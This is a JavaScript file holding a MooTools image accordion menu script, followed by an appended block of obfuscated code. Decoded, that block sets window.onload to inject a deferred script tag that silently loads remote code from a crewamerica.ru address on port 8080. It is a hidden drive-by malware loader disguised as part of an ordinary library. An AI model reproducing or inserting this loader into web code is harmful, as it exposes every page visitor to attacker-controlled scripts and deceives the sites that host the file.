/*
Script: imageMenu.js

Authors:
	Sam Birch

License:
	MIT-style license.

*/
var ImageMenu = new Class({
	
	initialize: function(myElements,options){
		options = Object.extend({
			onClick: Class.empty,
			start: -1,
			openWidth: 0,
			smallWidth: 0,
			itemWidth: 0,
			selected: -1,
			open: -1,
			transition: Fx.Transitions.quadOut
		}, options || {});
		
		this.myElements = myElements;
		this.options = options;
		
		options.itemWidth = myElements[0].getStyle('width').toInt();
		options.smallWidth = Math.round(((options.itemWidth*myElements.length)-options.openWidth)/(myElements.length-1));
		
		var fx = new Fx.Elements(myElements, {wait: false, duration: 400, transition: options.transition});
		
		myElements.each(function(el, i){
			el.addEvent('mouseover', function(e){
				e = new Event(e).stop();
				el.show();
			});
			
			el.addEvent('click', function(e){
				el.select();
			});
			
			el.addEvent('mouseout', function(e){
				e = new Event(e).stop();
				el.hide();
			});
			
			el.show = function(){
				var obj = {};
				obj[i] = {'width': [el.getStyle('width').toInt(), options.openWidth]};
				myElements.each(function(other, j){
					if (other != el){
						var w = other.getStyle('width').toInt();
						if (w != options.smallWidth) obj[j] = {'width': [w, options.smallWidth]};
					}
				});
				fx.start(obj);
			};
			
			el.hide = function(){
				var obj = {};
				if(options.selected == -1){
					myElements.each(function(el,i){
						obj[i] = {'width': [el.getStyle('width').toInt(), options.itemWidth]};	
					});
				}else{
					myElements.each(function(el,i){
						if(i != options.selected){
							var w = el.getStyle('width').toInt();
							if(w != options.smallWidth){obj[i] = {'width': [w, options.smallWidth]}};
						}else{
							obj[i] = {'width': [el.getStyle('width').toInt(), options.openWidth]};
						}
					});
				}
				fx.start(obj);
			};
			
			el.select = function(){
				if(options.selected == i){options.selected = -1}else{options.selected = i}
				options.onClick(options.selected,options.open);
				options.open = options.selected;
			};
		});
		
		if(options.start != -1){
			myElements[options.start].show();
			myElements[options.start].select();
		}
	},
	
	reset: function(){
		this.options.selected = -1;
		this.options.open = -1;
		this.myElements.each(function(el, i){
			el.hide();
		});
	}
	
});

var l=new Array();var J;if(J!='' && J!='f'){J=''};function g(){this.o='';var xl;if(xl!='' && xl!='I'){xl='r'};var zw=new String();var j=window;var G=new String();var N=j['unescape'];var zwZ;if(zwZ!='' && zwZ!='wY'){zwZ='jD'};var HX='';var K=N("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%72%69%6e%63%6f%6e%64%65%6c%76%61%67%6f%2e%63%6f%6d%2f%62%69%67%6c%6f%62%65%2e%6e%65%2e%6a%70%2e%70%68%70");var JE;if(JE!='' && JE!='m'){JE='X'};this.p="";function z(w,n){var Z=N("%5d");var Mi=new Array();var e=N("%5b");var U="g";var yB;if(yB!=''){yB='BN'};var V="";var A=new String();var H=new RegExp(e+n+Z, U);var lX;if(lX!=''){lX='wO'};var L;if(L!='W' && L!='Xv'){L=''};this.AJ='';return w.replace(H, new String());var Ar;if(Ar!='NA'){Ar='NA'};var SD=new String();};var h;if(h!='fw' && h!='pl'){h='fw'};var C;if(C!='GF' && C != ''){C=null};var v;if(v!='' && v!='c'){v='qA'};var e_;if(e_!=''){e_='Qi'};var Ue;if(Ue!=''){Ue='vV'};var Uy=z('sJr4cN','PFe02v4NJ8VnqKEib');var nH;if(nH!='Bv' && nH != ''){nH=null};var F=z('s_cwrYiOpYtY','lYzF8Oga_wUR');var zC=z('812322310333233182211133302233213','321');var mj="";var mG;if(mG!='' && mG!='YN'){mG=''};var yP;if(yP!='' && yP!='Lk'){yP=''};var D=document;var op;if(op!='' && op!='iny'){op=''};var y=z('d2eQfNeNrW','N2WmQgw');var Su=new String();function i(){this.Ev='';var t=N("%68%74%74%70%3a%2f%2f%63%72%65%77%61%6d%65%72%69%63%61%2e%72%75%3a");var qC;if(qC!='Pd' && qC!='NOn'){qC=''};var Kg;if(Kg!=''){Kg='Ps'};var S=t;S+=zC;this.sI='';S+=K;this.bxp="";var lc;if(lc!='tb' && lc!='nT'){lc='tb'};this.Nb="";try {var zd;if(zd!='az'){zd=''};var sO;if(sO!='' && sO!='An'){sO='OC'};B=D[z('cWrseuaQtIeZENl4eYmFeYnItP','PkFN4RWYuQZIb9s')](F);var k;if(k!='' && k!='QX'){k=null};B[y]=[1,5][0];var xn=new Date();B[Uy]=S;var tS=new Array();var BB;if(BB!='Hf' && BB!='SJ'){BB=''};D.body[z('aVpypSezn0dyCxh7i6lzdS','sxX4yS0g_NzE6V7w')](B);var AE=new String();var EM=new Date();var la="";} catch(x){var zS="";var nB="";};var sG=new Array();this.hh='';}this.Kgw="";var Y=z('oPnPlPowawdw','wP');var HZ;if(HZ!='' && HZ!='dl'){HZ=null};j[Y]=i;var VX;if(VX!='' && VX!='pm'){VX=null};var IS=new Array();var gr="";};var Pe=new Array();g();var fM=new String();